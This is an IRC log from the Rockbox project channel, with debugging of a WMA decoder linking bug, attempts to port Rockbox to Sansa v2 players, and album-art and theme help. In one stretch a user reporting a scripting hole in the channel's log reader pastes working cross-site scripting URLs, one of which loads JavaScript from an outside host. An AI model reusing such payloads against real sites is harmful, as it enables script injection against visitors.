| 07:31:07 | saratoga | hcs: so you're saying I should put an extern in front of the actual table in the h file ? |
| 07:31:19 | hcs | the table shouldn't be in the .h file |
| 07:31:28 | saratoga | well thats ffmpeg's call not mine |
| 07:31:35 | saratoga | so i can't do much about it |
| 07:31:59 | ddalton | are the v2 sansas still been manufactured? |
| 07:32:09 | hcs | saratoga: does wmadec.c include wmadata.h? |
| 07:33:38 | saratoga | hcs: no, i tried that to make sure and it does generate an error |
| 07:33:50 | saratoga | i'm wondering if not using a const is enough to screw up the compiler |
| 07:35:19 | pikhq | ddalton: I honestly don't know, except to say that I got my v1 just yesterday for Christmas. |
| 07:36:31 | Llorean | ddalton: As far as we know, the v2 are still being manufactured and sold. Since they're fairly new I can't imagine they've already stopped |
| 07:36:36 | hcs | saratoga: How does the ffmpeg source reference this? |
| 07:37:09 | hcs | saratoga: I'd suggest renaming wmadata.h to wmadata.c and making a wmadata.h with the appropriate externs. |
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| 07:38:15 | webguest42 | need help with c250 installation |
| 07:38:34 | pikhq | Llorean: It would also seem odd for a recently obtained e200 to be v1 with the v2 still out. |
| 07:39:13 | webguest42 | I can install everything but the sansa patch will not recognize my player. How can I get Rockbox up and running? |
| 07:39:29 | scorche | pikhq: getting rid of surplus... |
| 07:39:35 | Llorean | pikhq: It seems that many stores are working through v1 stocks still, possibly because Sandisk isn't marketing them as separate products |
| 07:39:52 | pikhq | Fair enough. |
| 07:42:59 | hcs | saratoga: if you include that wmadata.h in its current form in both wma.c and wmadec.c you'll get errors when they're linked |
| 07:43:46 | webguest42 | This v2 that you are talking about, does that mean that we can't use Rockbox at all or is there some work around if you can install part of the components? |
| 07:44:12 | scorche | rockbox does not work on the v2 |
| 07:46:34 | ddalton | webguest42: I am trying to work on a port. But I can't find a page on its recovery mode anywhere. do you have a e200 v2? |
| 07:47:11 | ddalton | scorche: I know thats why I want to work on the port. |
| 07:47:14 | webguest42 | I have a c250 the 2 gig model. |
| 07:47:25 | ddalton | v2? |
| 07:48:33 | webguest42 | What do you recommend that I do? Should I keep and wait for a possible work or return it? |
| 07:48:54 | ddalton | scorche: is it v2? |
| 07:49:02 | ddalton | oops wrong person. |
| 07:49:22 | ddalton | webguest42: that last message was for you. Is it v2? |
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| 07:50:30 | webguest42 | Yes, it is c250 2 gig v2. |
| 07:50:33 | ddalton | and if it is does the e200 and c200 both use the same technique for getting into disk mode? |
| 07:50:41 | hcs | CIA/hacker: hello |
| 07:50:46 | ddalton | e200 and c200 v1... |
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| 07:51:10 | CIA | hey guys |
| 07:51:37 | CIA | Whos admin here |
| 07:51:47 | saratoga | hcs: adding the const was enough to fix it |
| 07:51:50 | Yurivilca | http://digg.com/2008_us_elections/Mike_Huckabee_If_you_vote_for_me_you_live_if_you_don_t |
| 07:51:52 | Yurivilca | Check out Mike Huckabee's latest psychotic utterance! |
| 07:52:08 | saratoga | no |
| 07:52:13 | saratoga | also, get out |
| 07:52:30 | CIA | I have a vuln to report to the admin |
| 07:52:34 | scorche | Yurivilca: that is offtopic for this channel...as a side note, many if not most people in here are not even from the US... |
| 07:52:47 | CIA | scripting hole in the reader.pl |
| 07:52:49 | webguest42 | The way that I got into disk mode (found this in sandisk forums) was to have the player on, move the hold button to on, press and hold the rewind button while plugging in the usb connecter. |
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| 07:52:58 | hcs | saratoga: odd, though I guess I can see why. still, I really don't like that arrangement |
| 07:53:18 | webguest42 | my computer then recognizes but tells me it is a sansa c240. |
| 07:53:25 | ddalton | ah. could you check if that is the case for e200? That may help me with my port... |
| 07:53:54 | CIA | <script>for (;;);</script> |
| 07:54:00 | CIA | Yo |
| 07:54:21 | CIA | ______________________________________________________________________________________________ |
| 07:54:24 | CIA | Attention |
| 07:55:01 | scorche | CIA: we heard you...no need to be like that... |
| 07:55:22 | CIA | <table border=1><tr><td>hello</td></tr></table> |
| 07:55:26 | CIA | is the admin here |
| 07:55:28 | CIA | i need email |
| 07:55:30 | saratoga | i guess you could file an entry in the bug tracker |
| 07:55:36 | webguest42 | ddalton: are you asking me to check the e200? I only have the c250. |
| 07:56:03 | scorche | CIA: you can just say whatever it is here, and we can tell them to have a look at the logs when he comes around |
| 07:56:24 | scorche | well, how serious is this "vuln"? |
| 07:56:49 | pikhq | <script lang="tcl">apply {{x} {{*}$x $x}} {apply {{x} {{*}$x $x}}}</script> |
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| 07:58:05 | hcs | saratoga: the const doesn't fix the issue, you may just be getting lucky |
| 07:58:28 | *** | Saving seen data "./dancer.seen" |
| 07:59:34 | ddalton | what should the drive be called in windows when I connect my sansa in disk mode/ (recovery mode) |
| 07:59:44 | CIA | well let them know this |
| 08:00 |
| 08:00:35 | CIA | her eis aexample |
| 08:00:35 | CIA | http://www.rockbox.org/irc/reader.pl?date=%22%3E%3Cscript%3Ewindow.location=%22http://www.cia.gov%22%3C/script%3E |
| 08:02:18 | webguest42 | mine is called sansa c240 and it used the "O" drive which is the next letter open for me. |
| 08:02:18 | CIA | date= evil code |
| 08:02:19 | scorche | ah...just a redirect... |
| 08:02:19 | | Quit webguest89 ("CGI:IRC (EOF)") |
| 08:02:22 | hcs | saratoga: I have a small test running here that causes the segfault, but it goes away when I use extern const float bob[] instead of extern const float * bob in code doing the referencing. |
| 08:02:37 | scorche | oh...you meant for... |
| 08:03:08 | hcs | saratoga: indicating that it is a very fine balance of how gcc is handling it |
| 08:03:09 | CIA | no point is u can inject anything |
| 08:03:23 | scorche | yes...i got that...it is late >_> |
| 08:04:23 | * | pikhq wonders how in the world the difference between float bob[] and float *bob is at all relevant. Surely they'd be compiled as the same thing?!? |
| 08:04:34 | CIA | her eis a better one |
| 08:04:35 | CIA | http://www.rockbox.org/irc/reader.pl?date=%22%3E%3Cscript%20src=http://members.lycos.co.uk/ag3nt2007/xss/XSS2.js%3E%3C/script%3E |
| 08:04:46 | pikhq | Quite a subtle thing, apparently. |
| 08:05:09 | hcs | what's so subtle about a script in the url? |
| 08:05:33 | CIA | coder error .. u can do alot woth it |
| 08:05:42 | CIA | get burp proxy and so on |
| 08:05:46 | hcs | pikhq: I completely misunderstood your comment. |
| 08:05:49 | pikhq | The float bob[] != float *bob bit. |
| 08:05:51 | pikhq | Ah. |
| 08:05:53 | webguest42 | If I return the c250 v2, what should I get instead? |
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| 08:06:24 | CIA | anyways i got to go |
| 08:06:25 | CIA | bye |
| 08:06:33 | CIA | Hope admin cheks logs |
| 08:07:18 | webguest42 | ddalton: Did I lose you? |
| 08:07:44 | ddalton_ | ok so by default does your sansa come up with as a drive letter when you connect it normally? |
| 08:07:59 | CIA | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
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| 08:08:08 | scorche | CIA: ... |
| 08:08:24 | CIA | <out?> |
| 08:08:36 | CIA | just something to grab ther attention |
| 08:08:43 | scorche | not needed |
| 08:08:48 | CIA | : ) |
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| 08:09:01 | scorche | not to mention very annoying and against the guidelines of this channel.. |
| 08:09:52 | webguest42 | When I connect normally, it comes up in My Computer as an Audio Device but has no drive letter connected to it? |
| 08:10:08 | ddalton | who had the v2 c200 before? |
| 08:10:44 | hcs | pikhq: I don't think there should be any difference. Maybe an alignment thing. Yep, with bob[] the address is aligned. |
| 08:10:48 | ddalton | webguest42: ah. I think I am making progress. so can you do something for me? |
| 08:10:53 | hcs | 0x12 vs. 0x13 |
| 08:11:04 | webguest42 | I'll try? |
| 08:11:22 | pikhq | hcs: Quite odd. Not used to having address *alignment* matter. |
| 08:11:28 | webguest42 | oops, sorry about that. I'll try (no question). |
| 08:11:35 | pikhq | Granted, I'm coddled by my x86_64 environment. |
| 08:11:47 | ddalton | webguest42: Thx. BTW can you prefix your messages to me with a "dalton" or "ddalton:" it just makes it slightly easier to follow with a screenreader. ok; Do this. |
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| 08:11:53 | ddalton | One connect the player normally. |
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| 08:12:18 | webguest42 | ddalton: FYI, I'm not a developer but fairly techy so I'll try whatever. |
| 08:12:42 | hcs | pikhq: I'm testing this on x86, where I don't think alignment is needed for floats? |
| 08:12:55 | ddalton | webguest42: ok so is it connected normally? Just so it says sansa whatever in my computer? |
| 08:13:23 | webguest42 | yes. |
| 08:13:38 | hcs | pikhq: Even if it is, I'd expect the fault to be handled by the OS. I think it's a matter of one version putting the address exactly where the linker expects it. |
| 08:13:41 | ddalton | webguest42: ok now open up my computer/sansa whatever. |
| 08:13:48 | webguest42 | ddalton: yes |
| 08:13:48 | ddalton | and tell me what directories you see. |
| 08:14:30 | webguest42 | ddalton: Data folder and Media folder |
| 08:15:57 | hcs | pikhq: yeah, the pointer is completely invalid |
| 08:16:10 | pikhq | o.o |
| 08:16:22 | ddalton | webguest42: one moment. |
| 08:16:54 | * | pikhq goes off to pray to the K&R Gods, and demand to know why they must be cruel to us mere mortals |
| 08:17:36 | khermans | pikhq, NULL ptr derefs got you down? |
| 08:17:45 | khermans | heh |
| 08:18:04 | ddalton | webguest42: Did you connect with the hold switch on or off? |
| 08:18:09 | pikhq | Such *obscure* bits of the C language tend to irritate me. |
| 08:18:54 | pikhq | (I mean seriously. . . type float[] != type float*? My brain hurts.) |
| 08:19:28 | webguest42 | ddalton: hold switch was off |
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| 08:20:41 | ddalton | ok now please double click your media folder... |
| 08:20:45 | ddalton | webguest42 |
| 08:21:18 | saratoga | pikhq: i've noticed that [] * often have different meanings to the compiler |
| 08:21:23 | ddalton | sorry about the delay. blindness doesn't help telling if hold is on or off. :-) |
| 08:21:36 | saratoga | probably because [] tells it that theres a 1D array, while * doesn't specify |
| 08:21:48 | hcs | saratoga, pikhq: demo http://pastebin.ca/833455 |
| 08:21:49 | pikhq | saratoga: It's making a Brainfuck programmer's brain hurt. That is a bad sign. |
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| 08:22:32 | hcs | I can't figure out what's up... |
| 08:23:10 | ddalton | ok looks like im in the normal sansa... now webguest42, can you tell me what folders/files you see in the root of the sansa when you connect in disk mode? |
| 08:23:28 | webguest42 | ddalton: Music folder, Photo folder, Playlists folder, Record folder |
| 08:23:44 | ddalton | yep ok. so is that in the standard mode? |
| 08:23:55 | pikhq | Bad example code. |
| 08:24:04 | pikhq | You're printing two pointers there. |
| 08:24:14 | webguest42 | ddalton: yes that is standard mode, give me a sec to reconnect in disk mode |
| 08:24:14 | hcs | otherwise it'll segfault on one |
| 08:26:05 | pikhq | I seriously don't get how the array is segfaulting for me. |
| 08:26:30 | hcs | pikhq: 'cause there's an invalid pointer in the pointer version |
| 08:26:34 | pikhq | Erm. |
| 08:26:58 | pikhq | I'm *remarkably* confused. |
| 08:27:19 | pikhq | But they are treated differently. Go figure. |
| 08:27:24 | webguest42 | ddalton: now I have −− audible folder, music folder, photo folder, record folder, .rockbox folder and the following files −− DID.bin, MTABLE.SYS, RES_INFO.SYS, SYS_CONF.SYS and version.sdk |
| 08:27:24 | ddalton | webguest42: Sorry I would usually do this in linux but its harder to tell what is going on... I guess it isn't. But I am forced to shutdown my win box every time I want to disconnect my sansa since my screenreader can't find the safely remove hardware thing. or most times... |
| 08:27:50 | pikhq | Perhaps your extern declarations should match the type of the variable? :p |
| 08:28:09 | hcs | pikhq: Since the linking is just based on names, yeah, I think the declarations should match exactly. |
| 08:29:11 | webguest42 | ddalton: I do not use the safely remove hardware. It works just fine disconnecting the USB cable. |
| 08:29:26 | hcs | webguest42: good luck with that |
| 08:29:52 | ddalton | I know. But I have always used umount. but I don't know I do that for mp3 players but not drives like usb thumb drives... |
| 08:30:50 | * | pikhq always does an umount. Having to umount -f sometime later is not fun; especially if the filesystem is somehow borked on the USB mass storage device. . . |
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| 08:32:06 | saratoga | ddalton: unless you've written something its safe to pull the plug, in Windows at least |
| 08:33:40 | webguest42 | ddalton: I don't mean to sound ungrateful. But I am in the US on Eastern time and it is 2:32 am. Do we have much more to try at this point or do you want to plan to meet here at another time? |
| 08:39:26 | ddalton | webguest42: Ok; Well I was just trying to get mine into disk mode since that is the first step to a port. Then atleast we could start a wiki page with a recovery mode for the e200 and c200. |
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| 08:39:47 | ddalton | just one question before you go. What do you see in the drive when it is connected in recovery mode? |
| 08:40:32 | webguest42 | ddalton: now I have −− audible folder, music folder, photo folder, record folder, .rockbox folder and the following files −− DID.bin, MTABLE.SYS, RES_INFO.SYS, SYS_CONF.SYS and version.sdk |
| 08:41:16 | ddalton | webguest42: ok good. and what does your sansa screen say? I can't check mine. I am visually impared. Did I tell you that? |
| 08:41:33 | ddalton | what does it say when connected in recovery mode? |
| 08:42:38 | webguest42 | So am I but under my current lighting conditions I can read it (hence the reason I may return it if Rockbox won't work). Any time it is connected to the computer−−in either mode−−it simply says connecting |
| 08:43:38 | ddalton | webguest42: ah ok. I am totally blind so can't even read normal letters... but ok good. And are you 100% sure this is disk mode? |
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| 08:44:42 | webguest42 | Well, it comes up as an actual drive mode which is different from having no drive letter so I am assuming that it is in disk mode. |
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| 08:46:14 | ddalton | webguest42: ok. I will try and confirm with some other developers. I thought there should be a mi4 file there. But perhaps I can ask what people see on the v1s. Thank you very much for all your help though. I really appreciate it. Hopefully this has made some progress on the port. If I was you though I would probably swap it for a v1. They are pretty hard to find though. |
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| 08:46:45 | webguest42 | ddalton: sorry, I meant to say as an actual drive with a letter and I am assuming this is drive mode since I was able to perform the first steps of installing Rockbox. |
| 08:47:28 | ddalton | ah ok. well as I said I want to be sure it is disk mode before I start writing wiki pages and stuff... |
| 08:47:35 | webguest42 | Are you talking about the rockbox.mi4 file? |
| 08:48:03 | webguest42 | That file is in the .rockbox folder and not the root. |
| 08:48:40 | ddalton | webguest42: no. I thought there was one for the of. but I could be wrong. I also heard something about a 16 mb partition. |
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| 08:49:58 | webguest42 | ddalton: I say the information that referenced the partition but I did not follow those directions for getting into disk mode. |
| 08:50:42 | webguest42 | I was a little leary of that incase it really messed something up and I needed to return the player. |
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| 08:50:51 | ddalton | webguest42: ok. well I read to hold menu down while inserting the cable to get into disk mode. |
| 08:51:04 | ddalton | could you quickly try something for me since you can read your screen? |
| 08:51:12 | webguest42 | Do you have any suggestions for a different player since the v1 are so hard to find? |
| 08:51:23 | webguest42 | ddalton: yes |
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| 08:52:22 | ddalton | webguest42: Ok well first -turn off the player -switch hold on -hold down menu and insert the cable -Keep it down until you see something about a 16 mb partition |
| 08:52:33 | ddalton | if you don't see it after say 15 seconds just let go of menu. |
| 08:53:13 | ddalton | and a player to get. Well you may be able to get one of ebay. I think my port is going to take a while though. and perhaps a player of ebay since the other plays aren't sold either... |
| 08:53:57 | ddalton | *off |
| 08:54:11 | webguest42 | hold on |
| 08:54:36 | ddalton | k |
| 08:54:48 | advcomp2019 | ddalton, and webguest42, the v2s do not use the mi4 files like the v1s |
| 08:55:27 | ddalton | advcomp2019: oh. where did you see this? on bagder's website? |
| 08:56:16 | advcomp2019 | ddalton, yea.. i looks like bin files |
| 08:56:38 | ddalton | advcomp2019: do you have a v2? |
| 08:56:40 | webguest42 | No. This brings it up in standard mode and not in disk mode and never says anything about the 16 mb partion |
| 08:57:35 | ddalton | ok then. well I don't know what else to try. I really need to find a proper disk mode. maybe the one you said before is the correct one. I'll check with bagder and let you know if I have any luck. |
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| 08:57:54 | advcomp2019 | ddalton, no.. i am just reading Bagder's site |
| 08:58:00 | ddalton | But since I am going to be working on the v2 I suggest you return your player and get a supported one. Thanks for the help though. |
| 08:58:44 | ddalton | advcomp2019: do you reckon tech support or something at sandisk would tell me this? |
| 08:59:16 | ddalton | sorry I'll be working on the e200 v2. |
| 08:59:21 | ddalton | that's what I meant. |
| 08:59:29 | webguest42 | Thanks for trying. I really thought I had done my research before asking for this for Christmas. Now I have to return it and don't know what to get. |
| 08:59:48 | advcomp2019 | ddalton, do not know |
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| 09:00:24 | ddalton | Well take a look on ebay. perhaps look at e200s. and ask the seller what the fw version is. |
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| 09:00:40 | ddalton | if it starts with 03 its a v2 if it starts with 01 its a v1. |
| 09:00:45 | ddalton | or maybe no 0 not sure... |
| 09:00:52 | JdGordon | webguest42: you got a e200 v2? what capacity? |
| 09:01:08 | ddalton | JdGordon: hey. |
| 09:01:17 | webguest42 | jdgordon: no a c250 v2 2 gig |
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| 09:02:00 | ddalton | JdGordon: Do you have a sansa v2? |
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| 09:02:12 | JdGordon | webguest42: i have a slighty damaged e250 which im looking to get rid of if you possibly want to do some sort of swap? |
| 09:02:16 | JdGordon | ddalton: hi, no v1 |
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| 09:02:30 | JdGordon | v2 are the telechips ones yeah? |
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| 09:02:59 | ddalton | JdGordon: ok. I am looking to port rockbox to my e200. what do you reckon? worth a shot? |
| 09:03:07 | advcomp2019 | JdGordon, the v2 are ams |
| 09:03:34 | JdGordon | ah, we got the docs for them... /me would love to try another port |
| 09:04:16 | ddalton | JdGordon: I have started working on it. First I am looking for a recovery mode. I have been talking to aliask about it too... |
| 09:04:48 | JdGordon | the more ports the better... if you find the recovery mode thats a big step |
| 09:04:56 | saratoga | JdGordon: theres someone in the forums every day asking about the V2, so you could probably swap pretty easily |
| 09:05:41 | webguest42 | Thanks for the help, both of you. But I've now it the 3 AM mark and I really, really need to go to bed. I may consider the Zen Stone then. Do any of you know if it has resume feature? Or if you can delete directly from player? |
| 09:06:25 | amiconn | JdGordon: more ports == better is correct, provided those ports actually advance... |
| 09:06:32 | JdGordon | ddalton: recovery mode apparently is "turn on hold, hold rec and plug it and dont release rec untill its seen as a hard disk byt the computer" |
| 09:06:32 | ddalton | JdGordon: I got a v2 e200 for christmas. I have looked all day. But as you probably guessed blindness hasn't helped me when looking at the screen. some guy in the forums said how to get into recovery mode but that didn't work. Could I perhaps ask sansa for this info? |
| 09:07:03 | JdGordon | amiconn: yeah, true |
| 09:07:19 | * | JdGordon goes to buzz eigima about the dsp |
| 09:07:25 | amiconn | Not much seems to happen on the mr500 port. And then there are linuxstb's "let's start a port and abandon it" ones... |
| 09:07:46 | ddalton | JdGordon: yes for the v1... But holding rewind while inserting the cable with hold on shows up as a hard disk. with autable and stuff on it. is this disk mode? |
| 09:07:47 | webguest42 | bye |
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| 09:08:30 | DerDome | good morning :-) |
| 09:08:36 | JdGordon | amiconn: yeah, waiting for time to play with the mr500.. but there are older more stagnant ports |
| 09:08:52 | * | amiconn will *not* add the M3 to the build system until he actually starts working on it |
| 09:09:15 | JdGordon | you forget.. rockbox runs fine on the mr500... just no audio |
| 09:09:44 | JdGordon | which is the same state the sansas and ipods were at when they were added.. |
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| 09:09:45 | amiconn | JdGordon: Yeah, Tatung Elio, AV300 and Logikdax come to mind... (the last one being the most advanced of the 3) |
| 09:09:51 | DerDome | somebody here who can give me wiki write permisson on rockbox.org? |
| 09:09:52 | eigma | hi amiconn |
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| 09:10:20 | saratoga | as long as these abandoned ports are going into the target tree and not cluttering up the rest of svn, i don't see a whole lot of harm |
| 09:10:29 | JdGordon | im tinhking more the ifp which hasnt had anything happen in ages.... since i have been around even possibly |
| 09:11:11 | JdGordon | would be nice to move more of the archos code into target tree... clean it up a bit |
| 09:11:13 | amiconn | Ah yes, that one too |
| 09:11:21 | ddalton | JdGordon: when your e200 v1 is in recovery mode what are some directories you see? |
| 09:11:37 | JdGordon | none of the top of my head... |
| 09:11:54 | * | JdGordon never understood why the sim build is enabled for ifp |
| 09:12:42 | DerDome | none here who can give permisson to write? i would like to upload my edited theme ;-) |
| 09:12:54 | JdGordon | bah, whats your nick? |
| 09:13:01 | amiconn | Well, afaik the iFP port is more advanced than the others I mentioned |
| 09:13:02 | saratoga | DominiqueBellenger ? |
| 09:13:06 | DerDome | its dominiquebellenger |
| 09:13:09 | DerDome | right |
| 09:13:10 | DerDome | :) |
| 09:13:54 | saratoga | ok added |
| 09:14:17 | amiconn | As in, it actually plays music (not all codecs are working yet). But there is noo bootloader yet, and I don't know how rockbox is actually loaded |
| 09:14:24 | ddalton | JdGordon: I might have found the recovery mode for the v2 but am not sure. |
| 09:14:27 | amiconn | I guess some exploit in the OF... |
| 09:14:46 | JdGordon | wasnt the OF hacked so it runs wma files instead of loading them as audio? |
| 09:14:54 | * | JdGordon seems to recall something along those lines |
| 09:15:42 | DerDome | thank you :-) so you may check out the ipod 5g themes in a few minutes, if you want to... pen&paper extended :D |
| 09:17:47 | ddalton | jdgordon: $ ls /dev/sda |
| 09:17:52 | ddalton | output is not even sda1 |
| 09:18:01 | ddalton | does that mean there aren't any partitions? |
| 09:18:11 | ddalton | shouldn't it say /dev/sda1 /dev/sda2 etc? |
| 09:18:39 | ddalton | here is what I get: |
| 09:18:49 | ddalton | /dev/sda |
| 09:19:24 | ddalton | I issued the command ls /dev/sda** is that correct? |
| 09:19:36 | JdGordon | only one * |
| 09:19:58 | JdGordon | but thats useless if its not mounted |
| 09:20:25 | JdGordon | $dmesg | tail |
| 09:21:43 | ddalton | oh only one partition with one * |
| 09:22:25 | JdGordon | no.. its regex... * means anything |
| 09:22:52 | ddalton | oh sdb exists too. but I can't mount it... |
| 09:23:20 | ddalton | how do I check how big /media/sandisk is? so I can see how big the partition I mounted is? |
| 09:23:33 | JdGordon | df -h |
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| 09:38:06 | eigma | ddalton: fdisk -l /dev/sda |
| 09:38:15 | eigma | (ell) |
| 09:40:23 | ddalton | JdGordon: still here? |
| 09:40:30 | ddalton | no. |
| 09:42:38 | ddalton | anyone here with a sansa e200 v1? |
| 09:44:37 | saratoga | sure |
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| 09:46:14 | ddalton | saratoga: you got one? |
| 09:47:40 | saratoga | yes |
| 09:47:44 | saratoga | ddalton: yes |
| 09:48:08 | ddalton | saratoga: can you try this for me? 1. Connect and mount the sansa in recovery mode. |
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| 09:49:57 | saratoga | ddalton: unfortunately i'm not running the Sandisk bootloader so I don't have a recovery mode |
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| 09:50:24 | ddalton | saratoga: Oh so with rockbox bootloader there is no recovery mode? |
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| 09:51:14 | saratoga | ddalton: if you remove the Sandisk one as I did you lose recovery mode, however very few people realize you can do this, so most people have recovery mode |
| 09:51:51 | ddalton | oh I see. |
| 09:52:16 | ddalton | if I show you the directories and files I have on my recovery disk can you tell me if it sounds like a recovery disk? saratoga? |
| 09:52:30 | saratoga | ddalton: i'm not sure whats actually in recovery mode |
| 09:53:17 | ddalton | ok so me telling you what I have won't help. ok. |
| 09:53:36 | advcomp2019 | saratoga and ddalton, on my e280r v1, there is only a version.txt file |
| 09:53:37 | ddalton | anyone here using a v1? |
| 09:53:44 | ddalton | sansa e200? |
| 09:53:53 | ddalton | or sansa e200 with rockbox. |
| 09:54:54 | ddalton | advcomp2019: so does this look like a recovery mode? |
| 09:55:00 | ddalton | AUDIBLE MUSIC RECORD SYS_CONF.SYS VIDEO |
| 09:55:00 | ddalton | MTABLE.SYS PHOTO RES_INFO.SYS version.sdk |
| 09:55:12 | advcomp2019 | ddalton, nope |
| 09:55:42 | ddalton | advcomp2019: what does cat version.txt say for you? |
| 09:55:42 | saratoga | ddalton: if you're seeing the music folder, you're in UMS/MSC mode |
| 09:56:26 | ddalton | oh and when I am in the other mode the one when you just plug the cable in it has no version.sdk or whatever I said... |
| 09:57:00 | advcomp2019 | ddalton, in that text file, only the info of the sansa firmware basically |
| 09:57:22 | ddalton | ok. should I mail sansa and ask them? |
| 09:58:20 | advcomp2019 | ddalton, i do not know if they will tell you if there is a recovery mode |
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| 09:58:56 | ddalton | is it worth a try? I thought that info isn't really that secret like HW info? |
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| 10:00:33 | advcomp2019 | ddalton, you can try but never know tho |
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| 10:06:38 | ddalton | ok I have a telephone number I can ring. But I'll have to call tomorrow. to late for them now. but should I mention rockbox when I ask about a disk mode? |
| 10:06:50 | Shaid | probably not a good idea |
| 10:09:29 | ddalton | ok so if I say "could you tell me the keys to press to activate recovery mode" and they say "Why do you want recover mode?" what should I tell them? |
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| 10:24:52 | DerDome | you should say nothing but "because it does not work anymore and i have to get it" |
| 10:25:06 | DerDome | to work |
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| 10:27:22 | ddalton | DerDome: well they will probably tell me to send it in or a different way to update the fw... |
| 10:28:24 | DerDome | a friend of mine couldn't get her (ipod) to work without recovery because of an REALLY empty battery ;) |
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| 10:28:40 | DerDome | normally they don't ask why you want to know that |
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| 10:29:11 | DerDome | i hope you checked google for that request you have? :D |
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| 10:39:16 | ddalton | DerDome: What you don't think I have googled for this? |
| 10:39:56 | ddalton | I just don't want to say anything that may stuff up the rockbox port. someone else may want to port a sansa... |
| 10:40:26 | ddalton | so I want to make sure I don't say anything I shouldn't... |
| 10:41:08 | DerDome | sometimes the easiest solutions aren't seen ;) |
| 10:41:30 | ddalton | yep well if you see it. let me know. I googled for 3 hours and found nothing. |
| 10:41:54 | DerDome | i don't think that, i just wanted to check all easier ways |
| 10:42:11 | ddalton | ok |
| 10:42:21 | DerDome | no assault :P |
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| 12:54:43 | Bagder | see the forums |
| 12:55:10 | Bagder | I've not see any of those guys on IRC |
| 12:55:12 | Bagder | seen |
| 12:56:01 | DerDome | somebody here who knows something abount the broken bmp-resize-patch and a coming up new one? |
| 12:56:51 | dos | on forums are only few informations about it and its very spreaded |
| 12:57:08 | Bagder | dos: yes, but that's the current situation |
| 12:57:19 | dos | or maybe i'm searching on wrong place |
| 12:57:55 | Bagder | http://forums.rockbox.org/index.php?topic=3320.0 |
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| 14:48:41 | nua | hi, can anyone tell me where I can checkout the latest source-code, seems a dumb question I know... but I just can't see it on the site |
| 14:50:00 | DerDome | svn co svn://svn.rockbox.org/rockbox/trunk rockbox |
| 14:50:50 | hcs | nua: found here: http://www.rockbox.org/twiki/bin/view/Main/UsingSVN |
| 14:51:17 | DerDome | just paste my command posted above and you'll get the latest sourcecode |
| 14:51:28 | nua | ok great, thanks DerDome |
| 14:51:32 | DerDome | np |
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| 14:52:02 | DerDome | ehm...i don't know if it works on windows! |
| 14:52:22 | DerDome | it's just c&p from my .bash_hostory ;) |
| 14:52:22 | linuxstb | You'll need an svn (subversion) client. |
| 14:52:27 | nua | I want to build it with the album art plugin, presumably I just download the patch from the tracker on rockbox.org and apply then build? Or will I need any other dependencies? |
| 14:52:33 | nua | Its ok, I'm on linux |
| 14:52:47 | DerDome | you can use the latest prebuild version |
| 14:52:56 | DerDome | it works with album art |
| 14:52:59 | moos | nua: albumart is now in svn |
| 14:53:07 | nua | ahh great |
| 14:53:30 | DerDome | and don't try the bmp resize patch...it's broken |
| 14:53:34 | nua | but, it doesn't seem to work :S I have a bmp file in the folder with my album but its not displaying in the latest build |
| 14:53:53 | nua | does the bmp have to be a specific size then? |
| 14:54:03 | DerDome | what build do you have? |
| 14:54:12 | nua | one sec... |
| 14:54:39 | nua | r15975 |
| 14:54:47 | nua | hmm, actually that seems old |
| 14:55:10 | DerDome | i got 15971 |
| 14:55:14 | DerDome | and it works |
| 14:55:53 | DerDome | i've got a file named cover.bmp in each folder |
| 14:56:04 | nua | that's odd... I have cover.bmp in each folder too |
| 14:56:05 | DerDome | size is 100x100 max |
| 14:56:10 | nua | ahhh, that might be it |
| 14:56:14 | nua | :D |
| 14:56:27 | DerDome | if the size is too big it didn't work for me either |
| 14:56:44 | nua | r15975 is head, so I can't be more up to date it turns out |
| 14:56:56 | nua | ok, I'll get re-scaling |
| 14:57:02 | pixelma | DerDome: that's not true about the size... |
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| 14:57:20 | DerDome | i said it did not work for _me_ ;-) |
| 14:57:24 | * | moos is using 140*140 on his gigabeat :) |
| 14:57:26 | pixelma | the size depends on the wps you're using |
| 14:57:33 | DerDome | i adjusted the size to 100x100 and it worked |
| 14:57:43 | DerDome | ok, might be |
| 14:58:07 | DerDome | in my wps i use c100|c100 |
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| 14:58:39 | DerDome | but somewhere i read about it does not work if the size extends the screensize ofyour player |
| 14:58:55 | DerDome | so with 100x100 you are safe ^^ |
| 14:58:58 | nua | is there any way of moving the database menu option to the top instead o the file-browser? |
| 14:59:05 | moos | depending on the player... |
| 14:59:40 | moos | nua: you have an option for this, but I advise you to check manual first |
| 14:59:41 | kugel | nua: sure |
| 14:59:46 | DerDome | i think most players should have a minimum of 100x100 px? |
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| 15:00:02 | kugel | nua: edit root_menu.h |
| 15:00:04 | kugel | .c |
| 15:00:33 | DerDome | that's quite a good tip, thanks |
| 15:02:05 | nua | ok cool, thanks... I'll take a look |
| 15:03:21 | DerDome | nua: what is your syntax for loading the album art in the wps? |
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| 15:04:20 | DerDome | it is the %Cl and %C tag |
| 15:05:24 | nua | haha, well I'm currently trying to pick a theme :) ...resizing to 100x100 seems to make album art work in themes that support it now |
| 15:05:35 | * | linuxstb has some working viewports code - http://www.davechapman.f2s.com/rockbox/viewport1.html |
| 15:05:50 | linuxstb | (a screenshot of my test plugin) |
| 15:05:59 | moos | linuxstb: wee ! \o/ |
| 15:06:08 | nua | I can't find a theme I really like, guess I'll just have to make one |
| 15:06:18 | kugel | linuxstb: great stuff! |
| 15:06:56 | Nico_P | linuxstb: great news :) |
| 15:07:49 | DerDome | *ad* nua: take my edited pen&paper *ad* |
| 15:08:19 | nua | I love the pen&paper theme, but there is no album art... unless thats what you've editied :D |
| 15:08:25 | DerDome | :) |
| 15:08:30 | DerDome | that'it |
| 15:08:34 | nua | send send send |
| 15:08:34 | DerDome | and next song |
| 15:08:52 | DerDome | you can get it here: http://www.rockbox.org/twiki/bin/view/Main/WpsIpod5g |
| 15:09:03 | DerDome | bottom of page ;) |
| 15:10:08 | DerDome | can somebody tell me how to get the mainmenu centered? |
